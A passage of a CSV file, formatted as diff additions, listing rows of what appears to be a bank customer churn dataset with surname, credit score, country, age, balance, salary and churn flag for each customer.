+1884,15670602,Burgess,790,Germany,Male,24,7,107418.27,1,0,1,160450.21,0 +1885,15713479,Ozuluonye,656,France,Male,35,6,0,2,1,0,1485.27,0 +1886,15663830,De Luca,563,Spain,Male,32,6,0,2,1,1,19720.08,0 +1887,15566958,Li Fonti,667,Spain,Male,39,7,167557.12,1,1,1,41183.02,0 +1888,15680918,Freeman,613,Spain,Male,34,8,117300.02,1,1,0,139410.08,0 +1889,15663921,Pisani,429,France,Male,60,7,0,2,1,1,163691.48,0 +1890,15716324,Ignatieff,665,France,Female,23,9,143672.9,1,1,1,115147.33,0 +1891,15796969,Lahti,731,France,Male,33,4,0,2,1,1,74945.11,0 +1892,15574783,Perkins,584,France,Female,37,1,0,2,1,1,180363.56,0 +1893,15773487,Conway,634,Germany,Female,31,8,76798.92,1,0,0,196021.73,0 +1894,15802486,Hayes,488,France,Male,34,3,0,2,1,1,125979.36,0 +1895,15783398,Rizzo,535,Spain,Female,49,7,115309.75,1,1,0,111421.77,0 +1896,15649418,Krylov,776,France,Female,29,7,178171.04,2,1,1,115818.51,0 +1897,15604588,Li Fonti,850,Spain,Female,38,3,0,2,0,1,179360.76,0 +1898,15735428,Talbot,673,Spain,Female,37,0,0,2,0,0,82351.06,0 +1899,15629078,Matthias,850,Germany,Female,45,5,127258.79,1,1,1,192744.23,1 +1900,15806880,Boyle,627,Spain,Female,30,6,0,1,1,1,113408.47,0 +1901,15754999,Ch'eng,570,France,Female,33,8,0,1,1,1,124641.42,0 +1902,15781034,Mason,796,Spain,Male,67,5,0,2,0,1,54871.02,0 +1903,15622017,Bruno,773,Spain,Female,33,10,0,1,1,1,98820.09,0 +1904,15705885,Smeaton,752,Spain,Male,36,2,0,2,1,1,45570.84,0 +1905,15677382,Miller,625,Spain,Female,69,1,107569.96,1,1,1,182336.45,0 +1906,15566843,Gotch,535,Germany,Male,20,9,134874.4,1,1,1,118825.56,0 +1907,15608387,Fu,786,France,Female,29,4,0,2,1,0,103372.79,0 +1908,15810786,O'Toole,620,France,Female,67,3,0,2,1,1,43486.73,0 +1909,15626983,Ledford,605,Spain,Female,48,6,0,2,1,1,40062.99,0 +1910,15773605,Iadanza,670,Spain,Female,32,3,0,2,1,0,46175.7,0 +1911,15811261,Alaniz,617,Spain,Male,42,0,70105.87,1,1,1,120830.73,0 +1912,15590606,Saunders,595,France,Male,41,9,0,2,1,0,5967.09,0 +1913,15576644,Lin,687,Germany,Female,29,4,78939.15,1,1,0,122134.56,1 +1914,15750264,Pinto,757,Germany,Male,30,6,105128.85,2,1,1,62972.13,0 +1915,15741554,Streeter,746,Spain,Male,31,2,113836.27,1,1,1,174815.54,0 +1916,15769051,Shaw,503,Spain,Male,25,7,0,1,0,1,192841.13,0 +1917,15812198,Chen,543,Germany,Male,48,1,100900.5,1,0,0,33310.72,1 +1918,15699772,Barclay,428,Germany,Female,40,3,129248.11,2,1,0,72876.43,1 +1919,15744105,Kodilinyechukwu,768,France,Female,28,3,109118.05,2,0,1,50911.41,0 +1920,15739858,Otitodilichukwu,618,France,Male,56,7,0,1,1,1,142400.27,1 +1921,15723720,McKenzie,591,France,Female,31,7,0,2,0,1,48778.46,0 +1922,15638355,Woods,658,France,Female,35,5,126397.66,1,0,0,156361.58,1 +1923,15805637,Hsing,625,France,Male,36,9,108546.16,3,1,0,133807.77,1 +1924,15629575,Wheare,717,France,Male,36,2,148061.89,1,1,0,179128.69,1 +1925,15586243,Yobachi,667,France,Male,44,8,122277.87,1,1,1,91810.71,0 +1926,15757931,Fang,804,France,Male,24,3,0,2,1,0,173195.33,0 +1927,15716023,Pearson,693,France,Male,31,1,0,2,0,1,182270.88,0 +1928,15647782,Brown,729,Germany,Male,36,8,152899.24,2,1,0,177130.33,0 +1929,15716609,L?,484,Germany,Male,54,3,134388.11,1,0,0,49954.79,1 +1930,15623791,Padovesi,632,Spain,Female,40,3,109740.62,1,1,0,141896.74,0 +1931,15627262,Soto,536,Germany,Male,23,6,92366.72,2,1,0,120661.71,0 +1932,15652693,Greco,573,France,Female,26,4,129109.02,1,0,0,149814.68,1 +1933,15586993,Giordano,655,Spain,Female,56,5,0,2,1,1,41782.7,0 +1934,15815560,Bogle,666,Germany,Male,74,7,105102.5,1,1,1,46172.47,0 +1935,15584930,Grimmett,726,Germany,Male,30,5,111375.32,2,1,0,2704.09,0 +1936,15799031,Ayers,523,France,Male,39,3,0,2,1,0,6726.53,0 +1937,15810457,Miller,728,Germany,Female,33,9,150412.14,2,1,0,170764.08,0 +1938,15697879,Webb,701,France,Male,30,3,156660.72,2,1,0,45742.42,0 +1939,15594902,Lombardi,518,France,Male,38,3,90957.81,1,0,1,162304.59,0 +1940,15799710,Wei,739,France,Male,37,7,104960.46,1,0,1,80883.82,0 +1941,15659651,Ross,531,Germany,Female,31,7,117052.82,1,1,0,118508.09,1 +1942,15645956,Jideofor,452,Spain,Male,44,3,88915.85,1,1,0,69697.74,0 +1943,15651713,King,684,France,Male,45,6,148071.39,1,1,0,183575.01,0 +1944,15737265,Nwokeocha,728,Germany,Male,39,6,152182.83,1,0,0,161203.6,0 +1945,15687310,Humphries,783,Spain,Male,39,9,0,2,1,0,143752.77,0 +1946,15607347,Olisaemeka,734,France,Male,22,5,130056.23,1,0,0,121894.31,1 +1947,15698321,Yobanna,648,Germany,Male,34,3,95039.73,2,1,1,147055.87,0 +1948,15657812,Ch'iu,688,France,Male,52,1,0,2,1,1,172033.57,0 +1949,15569187,Fleming,680,Spain,Male,35,9,0,2,0,0,143774.06,0 +1950,15681562,Trevisan,516,France,Female,43,2,112773.73,2,1,1,139366.58,0 +1951,15615456,Aleksandrova,680,France,Female,37,10,123806.28,1,1,0,81776.84,1 +1952,15589793,Onwuamaeze,604,France,Male,53,8,144453.75,1,1,0,190998.96,1 +1953,15781884,Knox,624,Germany,Male,27,9,94667.29,2,0,1,4470.52,0 +1954,15675190,Chia,623,France,Male,21,10,0,2,0,1,135851.3,0 +1955,15600734,Townsend,624,Spain,Male,51,5,174397.21,2,1,1,172372.63,0 +1956,15779176,Dike,565,Germany,Female,58,3,108888.24,3,0,1,135875.51,1 +1957,15605286,Moyes,565,France,Male,55,4,118803.35,2,1,1,128124.7,1 +1958,15674922,Beavers,710,France,Male,54,6,171137.62,1,1,1,167023.95,1 +1959,15737506,Tretiakova,645,France,Male,42,6,0,1,0,0,149807.01,0 +1960,15780514,Fuller,707,France,Male,33,8,136678.52,1,1,0,54290.62,0 +1961,15623647,Dellucci,655,Spain,Female,36,1,135515.76,1,1,0,86013.96,0 +1962,15668472,Ritchie,705,Spain,Female,24,5,177799.83,2,0,0,79886.06,0 +1963,15692416,Aikenhead,358,Spain,Female,52,8,143542.36,3,1,0,141959.11,1 +1964,15771139,Douglas,578,Germany,Male,34,8,147487.23,2,1,0,66680.77,0 +1965,15738318,Kung,800,France,Female,40,5,97764.41,1,1,0,98640.15,1 +1966,15772243,MacDonald,612,France,Female,33,9,0,1,0,0,142797.5,1 +1967,15638463,Okwudilichukwu,681,Germany,Female,48,8,139480.18,1,1,1,163581.67,0 +1968,15598088,Ni,559,Spain,Male,25,5,0,2,1,1,163221.22,0 +1969,15693468,Simmons,488,Spain,Female,39,9,140553.46,1,0,0,12440.44,0 +1970,15671930,H?,717,France,Female,36,5,0,2,1,1,145551.6,0 +1971,15762268,Hancock,666,France,Female,41,10,141162.08,1,1,0,50908.48,0 +1972,15780954,Cran,582,Spain,Male,26,4,65848.36,2,1,0,30149.21,0 +1973,15700174,McKay,733,Spain,Female,30,0,83319.28,1,0,0,57769.2,0 +1974,15635728,P'an,693,France,Male,41,4,0,2,0,0,156381.47,0 +1975,15679283,Parkhill,694,France,Female,33,4,129731.64,2,1,0,178123.86,0 +1976,15591386,Golubova,622,France,Female,35,5,0,2,1,0,51112.8,0 +1977,15694192,Nwankwo,598,Spain,Female,38,6,0,2,0,0,173783.38,0 +1978,15585901,Johnson,717,Spain,Male,35,1,0,3,0,0,174770.14,1 +1979,15792329,Mao,494,Germany,Male,37,5,107106.33,2,1,0,172063.09,0 +1980,15635597,Echezonachukwu,644,France,Male,33,8,0,2,1,1,155294.17,0 +1981,15775880,McElyea,554,France,Female,30,9,0,2,1,1,40320.3,0 +1982,15630913,Rosas,476,Spain,Female,69,1,105303.73,1,0,1,134260.34,0 +1983,15756680,Phillips,667,France,Male,28,6,165798.1,1,1,0,147090.9,0 +1984,15587913,Palerma,748,Spain,Female,40,4,0,2,1,0,132368.47,0 +1985,15737605,Morris,531,Spain,Female,45,1,126495.57,2,1,1,164741.5,0 +1986,15627876,Pavlova,719,Spain,Female,47,9,116393.59,1,1,0,63051.32,1 +1987,15772601,Lu,845,Germany,Female,41,2,81733.74,2,0,0,199761.29,0 +1988,15758606,Yamamoto,738,France,Male,54,4,0,1,0,1,55725.04,1 +1989,15657107,Angelo,563,Spain,Female,46,8,106171.68,1,1,0,163145.5,1 +1990,15622454,Zaitsev,695,Spain,Male,28,0,96020.86,1,1,1,57992.49,0 +1991,15775803,Cawker,841,Spain,Male,41,1,0,2,0,1,193093.77,0 +1992,15570859,Froggatt,626,Germany,Male,36,2,181671.16,2,1,1,57531.14,0 +1993,15748381,Gorbunov,613,France,Female,29,6,185709.28,2,1,1,77242.19,0 +1994,15787189,Tai,824,Germany,Male,60,8,134250.17,3,0,0,153046.16,1 +1995,15666055,Rowe,705,France,Female,49,7,0,1,1,0,63405.2,1 +1996,15617648,Mikkelsen,584,France,Female,44,5,95671.75,2,1,1,106564.88,0 +1997,15755678,Kovalyov,534,France,Male,62,2,0,2,0,0,42763.12,1 +1998,15624781,Mbanefo,672,France,Female,34,1,142151.75,2,1,1,168753.34,0 +1999,15779497,Ts'ai,603,France,Male,43,5,127823.93,1,1,1,19483.35,0 +2000,15567399,Enderby,633,Germany,Male,43,3,144164.29,1,1,1,158646.46,0 +2001,15613656,Lombardi,842,France,Male,58,1,63492.94,1,1,1,83172.19,0 +2002,15734311,Hamilton,661,France,Female,27,3,0,2,1,1,76889.79,0 +2003,15657214,Hsia,601,France,Male,74,2,0,2,0,1,51554.58,0 +2004,15799350,Mao,632,France,Male,41,0,106134.46,1,0,1,105570.39,0 +2005,15729970,Ugochukwu,684,Germany,Male,29,8,127269.75,1,0,1,79495.01,0 +2006,15725835,West,785,Germany,Female,32,3,124493.03,2,0,1,52583.79,1 +2007,15745543,Hughes,687,France,Male,39,7,0,2,1,0,26848.25,0 +2008,15727384,Chukwuemeka,705,Germany,Female,43,10,146547.78,1,0,1,10072.55,1 +2009,15666916,Lira,639,France,Male,43,6,99610.92,2,1,0,187296.78,0 +2010,15732917,Li,729,Germany,Male,46,5,117837.43,1,1,0,104016.61,1 +2011,15612050,Castiglione,556,Spain,Female,48,8,168522.37,1,1,1,151310.16,0 +2012,15726267,Paterson,570,France,Male,32,9,117337.54,2,0,1,62810.91,0 +2013,15780124,Blair,841,France,Male,74,9,108131.53,1,0,1,60830.38,0 +2014,15742238,Dellucci,705,Germany,Male,35,4,136496.12,2,1,0,116672.02,0 +2015,15679024,Udinesi,553,France,Male,32,3,116324.53,1,1,0,77304.49,0 +2016,15715297,Yuan,779,Germany,Female,40,2,75470.23,1,1,1,52894.01,0 +2017,15633612,Yuryeva,696,France,Male,28,4,172646.82,1,1,1,116471.43,0 +2018,15602929,Wilson,728,Spain,Female,37,4,0,1,0,0,4539.38,0 +2019,15696703,Dean,691,Germany,Male,27,3,160358.68,2,1,0,142367.72,0 +2020,15756668,Ross,706,France,Male,30,3,98415.37,1,1,1,110520.48,0 +2021,15565779,Kent,627,Germany,Female,30,6,57809.32,1,1,0,188258.49,0 +2022,15795519,Vasiliev,716,Germany,Female,18,3,128743.8,1,0,0,197322.13,0 +2023,15761477,Golibe,501,Germany,Male,24,4,130806.42,2,1,0,80241.14,0 +2024,15731890,Chukwukere,601,France,Male,41,1,123971.16,1,0,1,172814.99,0 +2025,15633043,Fedorova,545,Spain,Female,39,6,0,1,0,0,38410.74,1 +2026,15752953,Chien,634,France,Male,45,9,0,2,0,0,17622.82,0 +2027,15603088,Rossi,451,Spain,Female,23,9,0,2,0,1,48021.71,0 +2028,15606613,Samson,655,France,Female,59,7,0,1,1,0,88958.49,1 +2029,15635939,Fenton,458,France,Female,39,9,0,2,1,0,116343.09,0 +2030,15666043,Mackey,520,France,Male,33,4,156297.58,2,1,1,166102.61,0 +2031,15746190,Payton,624,Spain,Female,28,2,0,2,0,1,104353.26,0 +2032,15591357,Cowger,765,France,Male,51,3,123372.3,1,1,1,115429.32,0 +2033,15658716,Banks,667,Germany,Female,37,5,92171.35,3,1,0,178106.34,1 +2034,15679909,Pugliesi,665,Spain,Male,41,8,0,2,1,0,132152.32,0 +2035,15634262,Fantin,709,Germany,Male,34,4,148375.19,2,1,1,21521.38,0 +2036,15799825,Bentley,583,France,Female,44,8,0,2,1,1,27431.62,0 +2037,15756875,Freeman,782,Spain,Male,34,6,147422.44,1,0,1,42143.61,0 +2038,15678146,Wong,668,Spain,Female,24,7,173962.32,1,0,0,106457.11,1 +2039,15710743,Onwuamaeze,621,France,Male,47,0,0,1,1,1,133831.37,1 +2040,15595831,Shen,579,Germany,Female,64,6,145215.43,1,1,1,164083.72,0 +2041,15626684,Huang,547,France,Female,38,5,167539.97,1,0,1,159207.34,0 +2042,15709846,Yeh,840,France,Female,39,1,94968.97,1,1,0,84487.62,0 +2043,15635459,Shih,667,Germany,Female,27,3,106116.5,2,1,0,3674.71,0 +2044,15642544,Henderson,723,France,Male,34,5,0,2,0,1,12092.03,0 +2045,15566494,Fang,487,France,Male,45,2,0,2,1,0,77475.73,0 +2046,15655238,Dellucci,668,France,Female,31,9,0,2,0,0,41291.73,0 +2047,15733429,Chou,520,Germany,Male,34,8,120018.86,2,1,1,343.38,0 +2048,15814536,Conti,549,France,Male,37,2,112541.54,2,0,0,47432.43,0 +2049,15771702,Roberts,567,France,Female,35,5,166118.45,2,1,0,127827.18,0 +2050,15723008,Lo Duca,720,France,Female,45,1,102882.4,2,1,1,35633.15,1 +2051,15797160,Glover,492,France,Female,49,8,0,1,1,1,182865.09,1 +2052,15792222,Johnstone,712,France,Female,37,1,106881.5,2,0,0,169386.81,0 +2053,15644765,Ashton,689,Germany,Male,26,4,120727.97,1,0,1,149073.88,0 +2054,15610686,Melton,850,France,Male,63,8,169832.57,1,0,0,184107.26,1 +2055,15730868,Marshall,747,France,Male,41,5,0,2,1,1,22750.17,0 +2056,15705991,Kenenna,469,Germany,Male,38,9,113599.42,1,0,0,11950.29,0 +2057,15577078,Zakharov,539,Spain,Male,38,6,0,1,1,1,152880.07,1 +2058,15679550,Chukwualuka,743,France,Male,32,9,0,2,1,0,175252.78,0 +2059,15787655,Chu,707,France,Male,47,3,0,2,1,0,174303.29,0 +2060,15668081,Capon,581,Spain,Female,50,4,0,2,1,1,80701.72,0 +2061,15747980,Cattaneo,737,Spain,Male,38,6,146282.79,2,1,0,198516.2,0 +2062,15710295,Patrick,445,Germany,Female,38,6,119413.62,2,1,0,175756.36,0 +2063,15724443,Taylor,703,Germany,Female,29,3,122084.63,1,0,1,82824.08,0 +2064,15571305,Stephenson,588,Germany,Female,35,1,103060.63,1,1,0,179866.01,1 +2065,15569503,Yeh,765,France,Male,44,6,0,2,1,1,159899.97,0 +2066,15581840,DeRose,626,France,Male,33,8,0,2,1,0,138504.28,0 +2067,15772262,Vavilov,545,Germany,Male,37,9,110483.86,1,1,1,127394.67,0 +2068,15767794,Browne,744,France,Male,31,9,120718.28,1,1,1,58961.49,0 +2069,15629338,Collingridge de Tourcey,658,Spain,Female,31,2,36566.96,1,1,0,103644.98,1 +2070,15790379,Rowe,629,Germany,Male,28,8,108601,1,1,1,119647.7,0 +2071,15750684,Jibunoh,719,France,Female,42,4,0,1,1,0,28465.86,1 +2072,15697214,Korovin,686,Spain,Female,36,5,0,2,1,1,152979.14,0 +2073,15711015,Hammonds,743,France,Male,36,4,0,2,1,1,190911.02,0 +2074,15573309,Ward,626,Spain,Female,48,2,0,2,1,1,95794.98,0 +2075,15805303,Olisanugo,661,Germany,Male,44,1,141136.62,1,1,0,189742.78,1 +2076,15741385,Gallop,710,Germany,Male,45,9,108231.37,1,1,1,188574.08,0 +2077,15780254,Gartrell,654,France,Male,40,6,0,1,0,0,183872.88,1 +2078,15744843,K'ung,569,Spain,Female,34,6,144855.34,1,0,0,196555.32,0 +2079,15815626,Oluchi,640,France,Male,63,2,68432.45,2,1,1,112503.24,1 +2080,15784736,Jamieson,562,France,Male,45,6,136855.24,1,1,0,46864,0 +2081,15813412,Barlow,721,France,Female,55,3,44020.89,1,1,0,65864.4,1 +2082,15809143,White,456,Germany,Male,32,9,133060.63,1,1,1,125167.92,0 +2083,15617617,Stewart,811,Spain,Male,39,7,0,2,1,1,177519.39,0 +2084,15779738,Buccho,534,France,Male,24,1,0,1,1,1,169653.32,0 +2085,15668669,Benson,423,France,Female,36,5,97665.61,1,1,0,118372.55,1 +2086,15687477,Thompson,594,Germany,Male,28,5,185013.02,1,1,0,16481.12,0 +2087,15578908,Todd,725,Spain,Female,32,0,0,2,1,1,138525.19,0 +2088,15687658,Burgin,716,France,Female,52,7,65971.61,2,1,0,14608,1 +2089,15615020,Nnaife,595,Germany,Female,41,9,150463.11,2,0,1,81548.38,0 +2090,15608886,Okwudiliolisa,679,France,Female,33,1,0,2,0,0,69608.48,0 +2091,15602551,Johnson,667,Spain,Male,39,9,0,2,1,0,68873.8,0 +2092,15672945,Parkes,661,France,Female,37,5,136425.18,1,1,0,81102.81,0 +2093,15757408,Lo,655,Spain,Male,38,3,250898.09,3,0,1,81054,1 +2094,15806132,Martin,555,France,Male,55,4,146798.81,1,1,1,74149.77,0 +2095,15813022,Kapustina,531,Spain,Male,70,1,0,2,0,0,99503.19,0 +2096,15673578,Page,611,Germany,Female,40,7,128486.91,2,1,0,10109.47,0 +2097,15757916,Amaechi,600,France,Female,38,9,0,2,1,1,58855.85,0 +2098,15689168,Munro,531,Spain,Male,37,1,143407.29,2,0,1,84402.46,0 +2099,15769216,Panicucci,601,France,Female,43,2,0,1,1,0,49713.87,1 +2100,15593295,Greathouse,548,France,Male,57,6,76165.65,1,1,1,133537.53,0 +2101,15804814,Ts'ui,759,France,Male,40,4,0,2,1,0,124615.59,0 +2102,15778934,Napolitani,678,Spain,Female,49,8,0,2,0,1,98090.69,0 +2103,15802351,Beers,755,Germany,Female,33,6,90560.3,2,1,1,42607.69,0 +2104,15630241,Tretyakova,594,France,Male,61,3,62391.22,1,1,1,192434.11,0 +2105,15719561,Lin,768,France,Male,42,5,0,3,0,0,60686.4,0 +2106,15615096,Costa,492,France,Female,31,7,0,2,1,1,49463.44,0 +2107,15659931,Ibezimako,637,Germany,Female,55,1,123378.2,1,1,0,81431.99,1 +2108,15714586,Marcelo,646,Spain,Female,42,3,99836.47,1,0,1,22909.56,0 +2109,15634949,Hay,593,Germany,Male,74,5,161434.36,2,1,1,65532.17,0 +2110,15589224,Moore,596,Spain,Male,41,5,0,2,0,1,141053.85,0 +2111,15795990,Lumholtz,722,Germany,Female,48,10,138311.76,1,1,1,3472.63,1 +2112,15603216,Simpson,642,France,Male,25,7,0,2,1,0,102083.78,0 +2113,15631201,Hill,472,Spain,Female,28,4,0,2,1,0,1801.77,0 +2114,15686255,Mouzon,738,Germany,Male,35,6,101744.84,1,0,0,85185.44,0 +2115,15746594,Wu,732,Spain,Male,33,8,0,1,1,0,119882.7,0 +2116,15718893,Pirozzi,404,Germany,Female,54,4,125456.07,1,1,0,83715.66,1 +2117,15671609,Ibeabuchi,701,France,Male,44,7,0,2,1,0,23425.78,0 +2118,15652540,Garnsey,683,France,Male,31,2,0,2,0,1,77326.78,0 +2119,15774857,Synnot,460,France,Female,27,7,0,2,1,0,156150.08,1 +2120,15791836,Wildman,690,France,Male,29,5,0,2,1,0,108577.97,0 +2121,15651554,Anenechukwu,618,Germany,Female,54,4,118449.21,1,1,1,133573.29,1 +2122,15583576,Tai,671,France,Male,30,2,0,1,0,1,102057.86,0 +2123,15732740,Plant,765,Spain,Female,32,9,178095.55,1,0,0,47247.56,0 +2124,15723320,Azubuike,651,Germany,Female,25,2,109175.14,2,1,0,114566.47,0 +2125,15603851,Galkin,704,France,Male,32,7,127785.17,4,0,0,184464.7,1 +2126,15777923,Johnston,544,France,Female,45,6,0,2,0,1,151401.33,0 +2127,15735719,Babbage,790,France,Female,40,9,0,2,1,1,70607.1,0 +2128,15703482,Walker,710,Germany,Male,34,9,134260.36,2,1,0,147074.67,0 +2129,15605835,Rice,743,France,Male,37,8,69143.91,2,0,1,105780.18,0 +2130,15664881,Norton,702,France,Male,34,4,100054.77,1,1,0,109496.45,0 +2131,15757568,Bogolyubov,704,France,Female,45,6,0,1,1,1,137739.45,0 +2132,15792660,Gibbons,614,France,Male,38,2,116248.88,1,1,0,105140.92,0 +2133,15599722,Chia,609,Spain,Female,43,6,86053.52,2,1,1,113276.46,1 +2134,15726354,Smith,688,France,Female,32,6,123157.95,1,1,0,172531.23,0 +2135,15610355,Hunter,713,France,Male,44,1,63438.91,1,1,0,64375.4,0 +2136,15704284,Ekechukwu,736,Germany,Male,57,9,95295.39,1,1,0,28434.44,1 +2137,15621893,Bellucci,727,France,Male,18,4,133550.67,1,1,1,46941.41,0 +2138,15588219,Ford,850,France,Female,38,1,106871.81,2,1,0,29333.01,0 +2139,15688619,Scott,718,Spain,Male,45,3,105266.32,2,1,1,193724.51,0 +2140,15765518,Gregson,643,France,Female,51,2,105229.53,1,1,0,34967.75,1 +2141,15616931,Moore,653,France,Male,41,8,102768.42,1,1,0,55663.85,0 +2142,15758372,Wallace,674,France,Male,18,7,0,2,1,1,55753.12,1 +2143,15782591,Cook,690,France,Male,35,6,112689.95,1,1,0,176962.31,0 +2144,15612109,Speth,819,France,Male,38,9,122334.26,2,1,1,181507.44,0 +2145,15613712,Boag,634,Spain,Male,34,1,0,2,1,0,61995.57,0 +2146,15639322,Grave,633,Spain,Male,33,4,137847.41,2,1,0,98349.13,0 +2147,15594349,Streeten,850,France,Male,49,5,122486.47,1,0,1,59748.19,0 +2148,15574167,Fox,665,France,Male,33,2,101286.11,1,1,1,159840.51,0 +2149,15811842,Artemyeva,630,Spain,Male,26,7,0,2,1,1,6656.64,0 +2150,15648794,Giordano,836,Spain,Male,57,4,101247.06,1,1,0,37141.62,1 +2151,15771211,Perkins,668,France,Male,38,10,86977.96,1,0,1,37094.75,0 +2152,15588614,Walton,753,France,Male,57,7,0,1,1,0,159475.08,1 +2153,15630698,Hay,745,France,Female,55,9,110123.59,1,0,1,51548.14,1 +2154,15694200,Gardner,693,France,Male,36,8,178111.82,1,0,0,58719.63,1 +2155,15721426,Milne,606,Germany,Male,65,10,126306.64,3,0,0,7861.68,1 +2156,15725997,She,660,France,Female,35,6,100768.77,1,1,0,19199.61,0 +2157,15762138,Hu,608,France,Male,42,5,0,2,1,0,178504.29,0 +2158,15750649,Uwakwe,744,France,Female,44,3,0,2,1,1,189016.14,0 +2159,15685706,Bird,731,France,Female,40,7,118991.79,1,1,1,156048.64,0 +2160,15641835,Anderson,683,France,Male,72,3,140997.26,1,0,1,52876.41,0 +2161,15586821,Bellew,727,France,Male,28,5,0,2,0,1,19653.08,0 +2162,15569678,Cocci,561,Germany,Male,32,6,166824.59,1,1,0,139451.98,0 +2163,15793842,Krichauff,700,France,Female,34,2,76322.69,1,1,0,128136.29,0 +2164,15667554,Cameron,605,France,Male,35,6,0,2,1,1,45206.57,0 +2165,15794479,Becker,767,Spain,Male,77,8,149083.7,1,1,1,190146.83,0 +2166,15585041,Ainsworth,511,France,Male,33,7,0,2,0,1,158313.87,0 +2167,15780650,Biryukov,667,France,Male,40,9,0,1,1,1,96670.2,0 +2168,15780846,Redding,787,France,Male,33,1,126588.81,2,0,1,62163.53,0 +2169,15805260,Wood,705,Germany,Female,56,2,143249.67,1,1,0,88428.41,1 +2170,15621629,Scott,773,Germany,Male,43,8,81844.91,2,1,1,35908.46,0 +2171,15662151,Gould,554,France,Male,40,4,0,1,0,1,168780.04,0 +2172,15747174,Hao,526,Germany,Male,58,9,190298.89,2,1,1,191263.76,0 +2173,15651585,Power,661,Germany,Male,35,2,117212.18,1,1,1,83052.03,0 +2174,15649738,White,698,France,Female,46,0,0,2,1,1,125962.02,0 +2175,15633108,Thorpe,646,France,Male,26,4,139848.17,1,1,0,164696.27,0 +2176,15769254,Tuan,757,Germany,Female,34,9,101861.36,2,0,0,187011.96,0 +2177,15704746,Inman,699,Spain,Male,35,2,167455.66,2,1,1,55324.49,0 +2178,15637644,Hanson,667,France,Female,24,4,0,2,0,1,34335.55,0 +2179,15609562,MacDonald,774,Spain,Female,43,1,116360.07,1,1,0,17004.14,0 +2180,15787459,Parkes,745,Spain,Male,40,3,88466.82,1,0,0,116331.42,0 +2181,15762902,Stanley,649,France,Female,42,7,0,2,0,1,22974.01,0 +2182,15738605,Fischer,634,Germany,Female,46,5,123642.36,1,1,1,49725.16,1 +2183,15724889,Chinweuba,665,Spain,Male,38,9,0,1,0,1,87412.74,0 +2184,15730735,Henning,713,France,Male,38,9,72286.84,2,1,1,26136.89,0 +2185,15689147,Ogochukwu,652,France,Female,40,1,0,2,1,0,126554.96,0 +2186,15730397,Narelle,739,Spain,Male,40,1,109681.61,1,1,1,193321.3,0 +2187,15762169,Bergman,556,Germany,Male,37,9,145018.64,2,1,0,90928.02,1 +2188,15589320,Sagese,699,Spain,Male,34,8,0,1,1,1,76510.46,0 +2189,15799211,Anenechi,708,Spain,Female,32,8,187487.63,1,1,1,120115.5,0 +2190,15798310,Palerma,480,France,Male,35,2,165692.91,1,1,1,197984.58,0 +2191,15609998,Okwudilichukwu,700,Germany,Female,59,5,137648.41,1,1,0,142977.05,1 +2192,15583548,Harrison,525,Spain,Female,47,6,118560,1,1,0,82522.61,1 +2193,15761763,Jamieson,845,France,Male,33,8,164385.53,1,1,0,150664.97,0 +2194,15764409,Goodman,613,France,Male,37,9,108286.5,1,1,1,114153.44,0 +2195,15710161,Ko,850,France,Female,34,2,0,2,1,1,171706.66,0 +2196,15735246,Norman,798,Spain,Female,58,9,0,2,0,0,119071.56,1 +2197,15791700,Ugochukwutubelum,773,Germany,Male,47,2,118079.47,4,1,1,143007.49,1 +2198,15670753,Uvarova,614,Spain,Male,35,2,127283.78,1,1,1,31302.35,0 +2199,15573876,Chia,473,Spain,Male,48,8,0,2,1,0,71139.8,0 +2200,15770174,Piazza,762,France,Male,29,6,141389.06,1,1,0,54122.89,0 +2201,15641114,Power,701,France,Male,37,8,130091.5,1,1,1,120031.29,0 +2202,15682435,P'eng,600,France,Male,35,4,143744.77,2,1,0,104076.51,0 +2203,15751788,Johnson,850,Spain,Male,28,9,97408.03,1,1,1,175853.64,0 +2204,15672598,Walker,613,Spain,Male,30,9,111927.45,1,1,1,175795.87,0 +2205,15762803,Innes,509,France,Male,31,3,0,2,1,0,15360.91,0 +2206,15812982,Francis,509,Spain,Male,38,2,0,1,0,0,168460.12,0 +2207,15597901,Chidozie,609,France,Male,34,1,0,1,1,1,181177.9,0 +2208,15731507,Mackenzie,456,France,Female,33,1,188285.68,1,0,0,58363.94,0 +2209,15809826,Craigie,728,France,Female,46,2,109705.52,1,1,0,20276.87,1 +2210,15764237,Manfrin,663,Spain,Male,33,9,0,2,0,0,91514.62,0 +2211,15769917,Onyekachi,673,Germany,Female,34,1,127122.79,3,0,1,76703.1,0 +2212,15641850,Pethard,717,France,Male,40,0,98241.04,1,1,0,110887.14,0 +2213,15770974,Nwabugwu,741,Germany,Female,37,8,170840.08,2,0,0,109843.16,0 +2214,15803749,DeRose,498,Germany,Female,41,4,87541.06,2,1,1,12577.21,1 +2215,15684999,Ch'eng,850,France,Female,26,4,62610.96,2,0,1,179365.1,0 +2216,15770225,Padovesi,493,France,Male,36,9,0,2,1,1,65816.53,0 +2217,15627484,Obielumani,686,France,Female,47,5,113328.93,1,1,0,124170.9,0 +2218,15610337,Stephens,666,Spain,Male,35,2,104832.49,1,1,0,175015.12,0 +2219,15752488,Emery,733,Spain,Female,31,9,102289.85,1,1,1,115441.66,0 +2220,15610056,Dufresne,631,Germany,Female,34,6,125227.82,2,0,1,128247.03,0 +2221,15806049,Lee,714,Germany,Female,49,5,140510.89,1,1,0,141914.94,0 +2222,15736069,Hsing,767,Germany,Female,35,6,132253.22,1,1,0,115566.57,1 +2223,15763662,Longo,711,Germany,Male,43,2,39043.29,2,1,1,175423.69,0 +2224,15615575,Vial,722,France,Male,34,8,0,2,1,1,133447.49,0 +2225,15691723,Chukwudi,631,Spain,Male,55,9,99685.06,1,1,0,114474.98,0 +2226,15774098,Grant,701,Germany,Male,38,3,125385.49,2,0,1,52044.66,0 +2227,15750808,Ma,790,Spain,Male,46,2,131365.37,2,1,1,180290.68,0 +2228,15744368,Sun,633,Spain,Male,58,6,98308.51,1,1,1,132034.13,0 +2229,15610594,Moss,644,France,Female,37,8,0,2,1,0,20968.88,0 +2230,15756125,Booth,757,Spain,Male,44,5,140856.16,2,1,0,158735.1,0 +2231,15623277,Ross,696,France,Female,30,8,0,2,1,1,196134.44,0 +2232,15795954,Ndukaku,746,France,Male,35,2,172274.01,1,1,0,22374.97,0 +2233,15671969,Pruneda,649,Spain,Male,36,8,0,2,1,0,161668.15,0 +2234,15791268,Neumann,565,Spain,Male,38,0,122447.76,1,0,0,67339.34,0 +2235,15713655,Calabrese,720,France,Female,38,10,0,2,1,1,56229.72,1 +2236,15633930,Yobachukwu,648,Spain,Female,56,6,157559.59,2,1,0,140991.23,1 +2237,15712849,Tung,632,Germany,Male,41,3,126550.7,1,0,0,177644.52,1 +2238,15639077,Marchesi,622,France,Female,30,2,158584.82,3,1,0,142342.55,1 